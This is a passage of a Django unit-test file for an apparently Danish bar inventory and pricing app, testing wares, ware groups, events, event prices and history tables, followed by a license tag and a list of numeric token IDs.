Waregroups.insert("eksotiske øl") Waregroups.insert("slik") Waregroups.insert("snack") Waregroups.insert("sodavand") Waregroups.insert("drikkevand") Waregroups.insert("sprut") self.assertEqual(len(Wgnamehistory.objects.all()) == 8, True) Waregroups.getthis(1) self.assertEqual(len(Wgnamehistory.objects.all()) == 8, True) Waregroups.setname(1,"kedelige øl") self.assertEqual(len(Wgnamehistory.objects.all()) == 9, True) Waregroups.setinfo(1,"de er faktisk lidt luksus") self.assertEqual(len(Wgnamehistory.objects.all()) == 9, True) Waregroups.deletethis(1) self.assertEqual(len(Wgnamehistory.objects.all()) == 9, True) Waregroups.deletethis(2) self.assertEqual(len(Wgnamehistory.objects.all()) == 9, True) Waregroups.deletethis(3) self.assertEqual(len(Wgnamehistory.objects.all()) == 9, True) Waregroups.insert("luksusøl") Waregroups.insert("basisøl") Waregroups.insert("eksotiske øl") self.assertEqual(len(Wgnamehistory.objects.all()) == 12, True) Waregroups.deletethis(11) self.assertEqual(len(Wgnamehistory.objects.all()) == 12, True) def test_Waregroupsinfohistory(self): self.assertEqual(len(Wginfohistory.objects.all()) == 0, True) Waregroups.insert("luksusøl") Waregroups.insert("basisøl") Waregroups.insert("eksotiske øl") Waregroups.insert("slik") Waregroups.insert("snack") Waregroups.insert("sodavand") Waregroups.insert("drikkevand") Waregroups.insert("sprut") self.assertEqual(len(Wginfohistory.objects.all()) == 0, True) Waregroups.getthis(1) self.assertEqual(len(Wginfohistory.objects.all()) == 0, True) Waregroups.setname(1,"kedelige øl") self.assertEqual(len(Wginfohistory.objects.all()) == 0, True) Waregroups.setinfo(1,"de er faktisk lidt luksus") self.assertEqual(len(Wginfohistory.objects.all()) == 1, True) Waregroups.deletethis(1) self.assertEqual(len(Wginfohistory.objects.all()) == 1, True) Waregroups.deletethis(2) self.assertEqual(len(Wginfohistory.objects.all()) == 1, True) Waregroups.deletethis(3) self.assertEqual(len(Wginfohistory.objects.all()) == 1, True) Waregroups.insert("luksusøl") Waregroups.insert("basisøl") Waregroups.insert("eksotiske øl") self.assertEqual(len(Wginfohistory.objects.all()) == 1, True) Waregroups.deletethis(11) self.assertEqual(len(Wginfohistory.objects.all()) == 1, True) def test_Waregroupsdeletehistory(self): self.assertEqual(len(Wgdeletehistory.objects.all()) == 0, True) Waregroups.insert("luksusøl") Waregroups.insert("basisøl") Waregroups.insert("eksotiske øl") Waregroups.insert("slik") Waregroups.insert("snack") Waregroups.insert("sodavand") Waregroups.insert("drikkevand") Waregroups.insert("sprut") self.assertEqual(len(Wgdeletehistory.objects.all()) == 0, True) Waregroups.getthis(1) self.assertEqual(len(Wgdeletehistory.objects.all()) == 0, True) Waregroups.setname(1,"kedelige øl") self.assertEqual(len(Wgdeletehistory.objects.all()) == 0, True) Waregroups.setinfo(1,"de er faktisk lidt luksus") self.assertEqual(len(Wgdeletehistory.objects.all()) == 0, True) Waregroups.deletethis(1) self.assertEqual(len(Wgdeletehistory.objects.all()) == 1, True) Waregroups.deletethis(2) self.assertEqual(len(Wgdeletehistory.objects.all()) == 2, True) Waregroups.deletethis(3) self.assertEqual(len(Wgdeletehistory.objects.all()) == 3, True) Waregroups.insert("luksusøl") Waregroups.insert("basisøl") Waregroups.insert("eksotiske øl") self.assertEqual(len(Wgdeletehistory.objects.all()) == 3, True) Waregroups.deletethis(11) self.assertEqual(len(Wgdeletehistory.objects.all()) == 4, True) class EventssHistoriesMethodTests(TestCase): def test_Eventsnamehistory(self): self.assertEqual(len(Eventnamehistory.objects.all()) == 0, True) Events.insert("mandag") Events.insert("tirsdag") Events.insert("onsdag") Events.insert("torsdag") Events.insert("fredag") Events.insert("lørdag") Events.insert("søndag") self.assertEqual(len(Eventnamehistory.objects.all()) == 7, True) Events.setname(1,"blobdag") self.assertEqual(len(Eventnamehistory.objects.all()) == 8, True) Events.setinfo(1, "det er blobdag når man starter en ny uge") self.assertEqual(len(Eventnamehistory.objects.all()) == 8, True) Events.deletethis(1) self.assertEqual(len(Eventnamehistory.objects.all()) == 8, True) Events.insert("mandag") self.assertEqual(len(Eventnamehistory.objects.all()) == 9, True) def test_Eventsinfohistory(self): self.assertEqual(len(Eventinfohistory.objects.all()) == 0, True) Events.insert("mandag") Events.insert("tirsdag") Events.insert("onsdag") Events.insert("torsdag") Events.insert("fredag") Events.insert("lørdag") Events.insert("søndag") self.assertEqual(len(Eventinfohistory.objects.all()) == 0, True) Events.setname(1,"blobdag") self.assertEqual(len(Eventinfohistory.objects.all()) == 0, True) Events.setinfo(1, "det er blobdag når man starter en ny uge") self.assertEqual(len(Eventinfohistory.objects.all()) == 1, True) Events.deletethis(1) self.assertEqual(len(Eventinfohistory.objects.all()) == 1, True) Events.insert("mandag") self.assertEqual(len(Eventinfohistory.objects.all()) == 1, True) def test_Eventsdeletehistory(self): self.assertEqual(len(Eventdeletehistory.objects.all()) == 0, True) Events.insert("mandag") Events.insert("tirsdag") Events.insert("onsdag") Events.insert("torsdag") Events.insert("fredag") Events.insert("lørdag") Events.insert("søndag") self.assertEqual(len(Eventdeletehistory.objects.all()) == 0, True) Events.setname(1,"blobdag") self.assertEqual(len(Eventdeletehistory.objects.all()) == 0, True) Events.setinfo(1, "det er blobdag når man starter en ny uge") self.assertEqual(len(Eventdeletehistory.objects.all()) == 0, True) Events.deletethis(1) self.assertEqual(len(Eventdeletehistory.objects.all()) == 1, True) Events.insert("mandag") self.assertEqual(len(Eventdeletehistory.objects.all()) == 1, True) #TODO: Consider if cascade-deletion is acceptable with this (yes?) class WaresingroupsHistoriesMethodTests(TestCase): def test_Waresingroupcreatehistory(self): self.assertEqual(len(WINcreatehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") Waregroups.insert("luksusøl") Waregroups.insert("basisøl") Waregroups.insert("eksotiske øl") Waregroups.insert("slik") Waregroups.insert("snack") Waregroups.insert("sodavand") Waregroups.insert("drikkevand") Waregroups.insert("sprut") self.assertEqual(len(WINcreatehistory.objects.all()) == 0, True) Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(1,3) Waresingroup.insert(1,4) Waresingroup.insert(1,5) Waresingroup.insert(1,6) self.assertEqual(len(WINcreatehistory.objects.all()) == 6, True) Waresingroup.deletethis(1,6) self.assertEqual(len(WINcreatehistory.objects.all()) == 6, True) def test_Waresingroupdeletehistory(self): self.assertEqual(len(WINdeletehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") Waregroups.insert("luksusøl") Waregroups.insert("basisøl") Waregroups.insert("eksotiske øl") Waregroups.insert("slik") Waregroups.insert("snack") Waregroups.insert("sodavand") Waregroups.insert("drikkevand") Waregroups.insert("sprut") self.assertEqual(len(WINdeletehistory.objects.all()) == 0, True) Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(1,3) Waresingroup.insert(1,4) Waresingroup.insert(2,5) Waresingroup.insert(1,6) self.assertEqual(len(WINdeletehistory.objects.all()) == 4, True) Waresingroup.deletethis(1,6) self.assertEqual(len(WINdeletehistory.objects.all()) == 5, True) Wares.deletethis(1) self.assertEqual(len(WINdeletehistory.objects.all()) == 5, True) Wares.deletethis(2) # Shows that Wares.delethis() cascade effect does not register here self.assertEqual(len(WINdeletehistory.objects.all()) == 5, True) self.assertEqual(len(Waresingroup.objects.all()) == 0, True) #TODO: Consider if cascade-deletion is acceptable with this (yes?) class PricesineventsMethodTests(TestCase): def test_Pricesineventcreatehistory(self): self.assertEqual(len(PIEcreatehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(PIEcreatehistory.objects.all()) == 0, True) Events.insert("mandag") Events.insert("tirsdag") Events.insert("onsdag") Events.insert("torsdag") Events.insert("fredag") Events.insert("lørdag") Events.insert("søndag") self.assertEqual(len(PIEcreatehistory.objects.all()) == 0, True) Pricesinevent.insert(1,1) Pricesinevent.insert(1,2) Pricesinevent.insert(1,3) Pricesinevent.insert(1,4) Pricesinevent.insert(1,5) Pricesinevent.insert(1,6) Pricesinevent.insert(1,7) Pricesinevent.insert(2,1) Pricesinevent.insert(3,1) self.assertEqual(len(PIEcreatehistory.objects.all()) == 9, True) Pricesinevent.deletethis(1,1) Pricesinevent.deletethis(1,2) Pricesinevent.deletethis(2,1) self.assertEqual(len(PIEcreatehistory.objects.all()) == 9, True) def test_Pricesineventpricehistory(self): self.assertEqual(len(PIEpricehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(PIEpricehistory.objects.all()) == 0, True) Events.insert("mandag") Events.insert("tirsdag") Events.insert("onsdag") Events.insert("torsdag") Events.insert("fredag") Events.insert("lørdag") Events.insert("søndag") self.assertEqual(len(PIEpricehistory.objects.all()) == 0, True) Pricesinevent.insert(1,1) Pricesinevent.insert(1,2) Pricesinevent.insert(1,3) Pricesinevent.insert(1,4) Pricesinevent.insert(1,5) Pricesinevent.insert(1,6) Pricesinevent.insert(1,7) Pricesinevent.insert(2,1) Pricesinevent.insert(3,1) self.assertEqual(len(PIEpricehistory.objects.all()) == 0, True) Pricesinevent.setprice(1,1,1) Pricesinevent.setprice(1,1,2) Pricesinevent.setprice(1,1,2) Pricesinevent.setprice(1,2,10) Pricesinevent.setprice(1,3,100) Pricesinevent.setprice(1,4,-10) Pricesinevent.setprice(1,5,0) Pricesinevent.setprice(1,6,50) Pricesinevent.setprice(1,7,12) Pricesinevent.setprice(2,1,5) Pricesinevent.setprice(3,1,9) self.assertEqual(len(PIEpricehistory.objects.all()) == 11, True) Pricesinevent.deletethis(1,1) Pricesinevent.deletethis(1,2) Pricesinevent.deletethis(2,1) self.assertEqual(len(PIEpricehistory.objects.all()) == 11, True) def test_Pricesineventdeletehistory(self): self.assertEqual(len(PIEdeletehistory.objects.all()) == 0, True) Wares.insert("Carlsberg") try: Wares.insert("Carlsberg") except Alreadymade: pass Wares.insert("Carlsberg Light") Wares.insert("Yankeebar") Wares.insert("Haribo Clickmix") Wares.insert("Mokai") Wares.insert("Heineken") Wares.insert("Tuborg") self.assertEqual(len(PIEdeletehistory.objects.all()) == 0, True) Events.insert("mandag") Events.insert("tirsdag") Events.insert("onsdag") Events.insert("torsdag") Events.insert("fredag") Events.insert("lørdag") Events.insert("søndag") self.assertEqual(len(PIEdeletehistory.objects.all()) == 0, True) Pricesinevent.insert(1,1) Pricesinevent.insert(1,2) Pricesinevent.insert(1,3) Pricesinevent.insert(1,4) Pricesinevent.insert(1,5) Pricesinevent.insert(1,6) Pricesinevent.insert(1,7) Pricesinevent.insert(2,1) Pricesinevent.insert(3,1) self.assertEqual(len(PIEdeletehistory.objects.all()) == 0, True) Pricesinevent.deletethis(1,1) Pricesinevent.deletethis(1,2) Pricesinevent.deletethis(2,1) self.assertEqual(len(PIEdeletehistory.objects.all()) == 3, True) class EventsMethodTests(TestCase): def test_insertevent(self): Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") self.assertEqual(len(Events.objects.all()) == 3, True) self.assertEqual(len(Events.objects.all().filter(eventname="Paaske")) == 1, True) def test_seteventname(self): Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") Events.setname(1,"merePaaske") self.assertEqual(len(Events.objects.all()) == 3, True) self.assertEqual(len(Events.objects.all().filter(eventname="Paaske")) == 1, False) self.assertEqual(len(Events.objects.all().filter(eventname="merePaaske")) == 1, True) def test_seteventinfo(self): Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") Events.setinfo(1,"Paaske skal have billige oeller") self.assertEqual(len(Events.objects.all()) == 3, True) self.assertEqual(len(Events.objects.all().filter(eventinfo="Paaske skal have billige oeller")) == 1, True) def test_removeevent(self): Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") self.assertEqual(len(Events.objects.all()) == 3, True) Events.deletethis(1) self.assertEqual(len(Events.objects.all()) == 2, True) def test_nameavailable(self): self.assertEqual(Events.nameisavailable("Paaske"), True) Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") self.assertEqual(Events.nameisavailable("Paaske"), False) self.assertEqual(Events.nameisavailable("frebar"), False) self.assertEqual(Events.nameisavailable("hverdag"), False) self.assertEqual(Events.nameisavailable("ikke brugt"), True) Events.deletethis(1) self.assertEqual(Events.nameisavailable("Paaske"), True) class PricesineventMethodTests(TestCase): def test_insertpricing(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.setstandardprice(1,500) #Carlsberg er dyrt Wares.setstandardprice(2,50) Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") Pricesinevent.insert(1,1) Pricesinevent.insert(1,2) Pricesinevent.insert(1,3) Pricesinevent.insert(2,1) Pricesinevent.insert(2,2) Pricesinevent.insert(2,3) self.assertEqual(len(Events.objects.all()) == 3, True) self.assertEqual(len(Pricesinevent.objects.all()) == 6, True) def test_setpricing(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.setstandardprice(1,500) #Carlsberg er dyrt Wares.setstandardprice(2,50) Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") Pricesinevent.insert(1,1) Pricesinevent.insert(1,2) Pricesinevent.insert(1,3) Pricesinevent.insert(2,1) Pricesinevent.insert(2,2) Pricesinevent.insert(2,3) self.assertEqual(len(Events.objects.all()) == 3, True) self.assertEqual(len(Pricesinevent.objects.all()) == 6, True) self.assertEqual(len(Pricesinevent.objects.all().filter(price=-50)) == 0, True) Pricesinevent.setprice(1,1,-50) self.assertEqual(len(Pricesinevent.objects.all().filter(price=-50)) == 1, True) self.assertEqual(len(Pricesinevent.objects.all().filter(price=-50)) == 0, False) def test_geteventprice(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.setstandardprice(1,500) #Carlsberg er dyrt Wares.setstandardprice(2,50) Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") Pricesinevent.insert(1,1) Pricesinevent.insert(1,2) Pricesinevent.insert(1,3) Pricesinevent.insert(2,1) Pricesinevent.insert(2,2) Pricesinevent.insert(2,3) newprice = Pricesinevent.geteventprice(1,1) self.assertEqual(newprice==500, True) Pricesinevent.setprice(1,1,-50) newprice = Pricesinevent.geteventprice(1,1) self.assertEqual(newprice==500, False) self.assertEqual(newprice==450, True) Pricesinevent.setprice(1,1,-50) newprice = Pricesinevent.geteventprice(1,1) self.assertEqual(newprice==450, True) Pricesinevent.setprice(2,1,-50) newprice = Pricesinevent.geteventprice(2,1) self.assertEqual(newprice==0, True) Pricesinevent.setprice(2,1,-100) newprice = Pricesinevent.geteventprice(2,1) self.assertEqual(newprice==-50, True) class WaregroupMethodTests(TestCase): def test_insertgroup(self): Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waregroups.insert("Snacks") Waregroups.insert("Slik") self.assertEqual(len(Waregroups.objects.all()) == 4, True) self.assertEqual(len(Waregroups.objects.all()) == 0, False) self.assertEqual(len(Waregroups.objects.all()) == 3, False) self.assertEqual(len(Waregroups.objects.all()) == 5, False) self.assertEqual(len(Waregroups.objects.all().filter(wgname="Slik")) == 1, True) def test_setname(self): Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waregroups.insert("Snacks") Waregroups.insert("Slik") Waregroups.setname(1, "Nyeoeller") self.assertEqual(len(Waregroups.objects.all().filter(wgname="Nyeoeller")) == 1, True) def test_setinfo(self): Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waregroups.insert("Snacks") Waregroups.insert("Slik") Waregroups.setinfo(1, "De er ekstra gode") self.assertEqual(len(Waregroups.objects.all().filter(wginfo="")) == 3, True) self.assertEqual(len(Waregroups.objects.all().filter(wginfo="De er ekstra gode")) == 1, True) def test_removewg(self): Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waregroups.insert("Snacks") Waregroups.insert("Slik") self.assertEqual(len(Waregroups.objects.all()) == 4, True) Waregroups.deletethis(2) self.assertEqual(len(Waregroups.objects.all()) == 3, True) Waregroups.deletethis(4) self.assertEqual(len(Waregroups.objects.all()) == 2, True) def test_nameavailable(self): self.assertEqual(Waregroups.nameisavailable("Paaske"), True) Waregroups.insert("Paaske") Waregroups.insert("frebar") Waregroups.insert("hverdag") self.assertEqual(Waregroups.nameisavailable("Paaske"), False) self.assertEqual(Waregroups.nameisavailable("frebar"), False) self.assertEqual(Waregroups.nameisavailable("hverdag"), False) self.assertEqual(Waregroups.nameisavailable("ikke brugt"), True) #TODO: Find way to extract all wares for given waregroup class WaresingroupMethodTests(TestCase): def test_insertgrouping(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(2,1) Waresingroup.insert(2,2) self.assertEqual(len(Wares.objects.all()) == 2, True) self.assertEqual(len(Waregroups.objects.all()) == 2, True) self.assertEqual(len(Waresingroup.objects.all()) == 2, True) def test_getwares(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.insert("Heineken") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(2,1) Waresingroup.insert(2,2) Waresingroup.insert(3,1) self.assertEqual(len(Waresingroup.getwares(1)) == 1, True) self.assertEqual(len(Waresingroup.getwares(2)) == 2, True) def test_getwaresingroup(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.insert("Tuborg2") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(3,1) Waresingroup.insert(2,1) Waresingroup.insert(2,2) self.assertEqual(len(Waresingroup.getwares(1)) == 1, True) self.assertEqual(len(Waresingroup.getwares(2)) == 2, True) def test_getthis(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.insert("Heineken") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(2,1) Waresingroup.insert(2,2) Waresingroup.insert(3,1) test1 = Waresingroup.getthis(1,2) self.assertEqual(test1.ware.warename == "Carlsberg", True) self.assertEqual(test1.waregroup.wgname == "Basisoeller", True) test2 = Waresingroup.getthis(3,1) self.assertEqual(test2.ware.warename == "Heineken", True) self.assertEqual(test2.waregroup.wgname == "Luxusoeller", True) def test_getgroupsforware(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.insert("Tuborg2") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(3,1) Waresingroup.insert(2,1) Waresingroup.insert(2,2) self.assertEqual(len(Waresingroup.getwaregroups(1)) == 1, True) self.assertEqual(len(Waresingroup.getwaregroups(2)) == 1, True) self.assertEqual(len(Waresingroup.getwaregroups(3)) == 1, True) def test_getwaregroups(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Wares.insert("Heineken") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(2,1) Waresingroup.insert(2,2) Waresingroup.insert(3,1) self.assertEqual(len(Waresingroup.getwaregroups(1)) == 1, True) self.assertEqual(len(Waresingroup.getwaregroups(2)) == 1, True) def test_deleteonrelations1(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(2,1) Waresingroup.insert(2,2) self.assertEqual(len(Waresingroup.objects.all()) == 4, True) Wares.deletethis(1) self.assertEqual(len(Waresingroup.objects.all()) == 2, True) def test_deleteonrelations1(self): Wares.insert("Carlsberg") Wares.insert("Tuborg") Waregroups.insert("Luxusoeller") Waregroups.insert("Basisoeller") Waresingroup.insert(1,1) Waresingroup.insert(1,2) Waresingroup.insert(2,1) Waresingroup.insert(2,2) self.assertEqual(len(Waresingroup.objects.all()) == 2, True) Waregroups.deletethis(2) self.assertEqual(len(Waresingroup.objects.all()) == 0, True) class openingsMethodTests(TestCase): def nothingdoneyet(self): try: Openandclose.isbaropen() whatisexpected = False except Noopeningsyet as e: whatisexpected = True self.assertEqual(whatisexpected, True) def somethingdone(self): Openandclose.openbar() try: Openandclose.isbaropen() whatisexpected = False except Noopeningsyet as e: whatisexpected = True self.assertEqual(whatisexpected, False) def testraiseerrors(self): Events.insert("mandag") counter = 0 Openandclose.openbar(1, "") Openandclose.closebar("") Openandclose.openbar(1, "") try: Openandclose.openbar(1, "") except Alreadyopen as e: counter += 1 Openandclose.closebar("") try: Openandclose.closebar("") except Alreadyclosed as e: counter += 1 self.assertEqual(counter == 2, True) self.assertEqual(len(Openandclose.objects.all()) == 4, True) class ExtrafunctionsMethodTest(TestCase): def test_getprice(self): Wares.insert("Carslberg") Wares.insert("Tuborg") Wares.insert("Heineken") Wares.setwareinbar(1,5) Wares.setwareinstockroom(1,5) Wares.setstandardprice(1,500) #Carlsberg er dyrt Wares.setstandardprice(2,50) Wares.setstandardprice(3,50) self.assertEqual(len(Wares.objects.all().filter(standardprice=500)) == 1, True) self.assertEqual(len(Wares.objects.all().filter(standardprice=50)) == 2, True) self.assertEqual(len(Wares.objects.all()) == 3, True) Events.insert("Paaske") Events.insert("frebar") Events.insert("hverdag") Pricesinevent.insert(1,1) Pricesinevent.insert(1,2) Pricesinevent.insert(1,3) Pricesinevent.insert(2,1) Pricesinevent.insert(2,2) Pricesinevent.insert(2,3) Pricesinevent.setprice(1,1,-50) self.assertEqual(Extrafunctions.getprice(1,1) == 450, True)
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 646, 747, 199, 646, 984, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 747, 14, 2314, 14, 5486, 480, 22848, 63, 13931, 63, 10001, 401, 298, 696, 771, 287, 14, 1751, 531, 339, 687, 1639, 14, 1018, 14, 8110, 492, 5341, 63, 504, 63, 1531, 63, 604, 339, 5341, 63, 504, 63, 1531, 63, 604, 8, 1274, 14, 3020, 9, 421, 199, 646, 2197, 199, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 396, 492, 7640, 199, 199, 504, 3708, 478, 14, 992, 492, 644, 11044, 12, 644, 1530, 2634, 12, 27982, 12, 644, 11044, 316, 684, 12, 8538, 823, 1132, 782, 12, 11177, 5777, 12, 644, 11044, 354, 5570, 12, 644, 11044, 1516, 4777, 5570, 12, 644, 11044, 262, 1700, 5570, 12, 644, 11044, 3615, 766, 5570, 12, 644, 11044, 1807, 5570, 12, 644, 71, 354, 5570, 12, 644, 71, 815, 5570, 12, 644, 71, 1807, 5570, 12, 6763, 354, 5570, 12, 6763, 815, 5570, 12, 6763, 1807, 5570, 12, 20896, 981, 5570, 12, 20896, 1807, 5570, 12, 510, 4332, 981, 5570, 12, 510, 4332, 1807, 5570, 12, 3232, 460, 1600, 12, 510, 4332, 4777, 5570, 199, 199, 3, 6668, 734, 10842, 3520, 1929, 370, 506, 8439, 1325, 3091, 1490, 780, 28064, 3181, 1133, 199, 504, 3708, 478, 14, 3924, 492, 21086, 5938, 12, 21086, 1490, 12, 21086, 29519, 421, 199, 533, 644, 11044, 3767, 2925, 8, 1746, 304, 2286, 347, 511, 63, 3176, 1068, 8, 277, 304, 267, 327, 2925, 626, 282, 336, 1530, 883, 506, 11788, 543, 5518, 805, 267, 644, 11044, 14, 3176, 480, 16034, 478, 14630, 531, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 1068, 354, 628, 16034, 478, 14630, 2237, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 1068, 354, 628, 6584, 2393, 14630, 2237, 508, 413, 12, 756, 9, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 1068, 354, 628, 52, 456, 1308, 2237, 508, 413, 12, 715, 9, 339, 347, 511, 63, 409, 262, 1700, 8, 277, 304, 4960, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 18, 12, 709, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 262, 1700, 29, 21, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 262, 1700, 29, 709, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 262, 1700, 29, 18, 430, 508, 499, 12, 756, 9, 339, 347, 511, 63, 409, 3615, 766, 11245, 8, 277, 304, 4960, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 644, 11044, 14, 409, 1068, 3615, 766, 11245, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 1068, 3615, 766, 11245, 8, 18, 12, 709, 9, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 19, 12, 1165, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 21, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 709, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 1165, 430, 508, 413, 12, 756, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 3615, 766, 11245, 29, 18, 430, 508, 499, 12, 756, 9, 5493, 347, 511, 63, 6807, 4777, 8, 277, 304, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 644, 11044, 14, 409, 1068, 262, 1700, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 1068, 3615, 766, 11245, 8, 17, 12, 21, 9, 267, 644, 11044, 14, 409, 6807, 4777, 8, 17, 12, 5783, 9, 327, 16034, 478, 14630, 9266, 13119, 2591, 267, 644, 11044, 14, 409, 6807, 4777, 8, 18, 12, 1400, 9, 267, 644, 11044, 14, 409, 6807, 4777, 8, 19, 12, 1400, 9, 4960, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 6807, 4777, 29, 5783, 430, 508, 413, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1252, 1541, 8, 6807, 4777, 29, 1400, 430, 508, 499, 12, 715, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1012, 508, 650, 12, 715, 9, 5493, 347, 511, 63, 2168, 1068, 8, 277, 304, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1012, 508, 650, 12, 715, 9, 267, 644, 11044, 14, 1807, 3749, 8, 17, 9, 267, 291, 14, 629, 8, 552, 8, 55, 11044, 14, 1462, 14, 452, 1012, 508, 499, 12, 715, 9, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 1807, 3749, 8, 20, 9, 18407, 347, 511, 63, 362, 758, 470, 509, 21849, 8, 277, 304, 267, 644, 11044, 14, 3176, 480, 16034, 2482, 14630, 531, 267, 644, 11044, 14, 3176, 480, 52, 456, 1308, 531, 267, 644, 11044, 14, 3176, 480, 1966, 1132, 917, 531, 267, 291, 14 ]
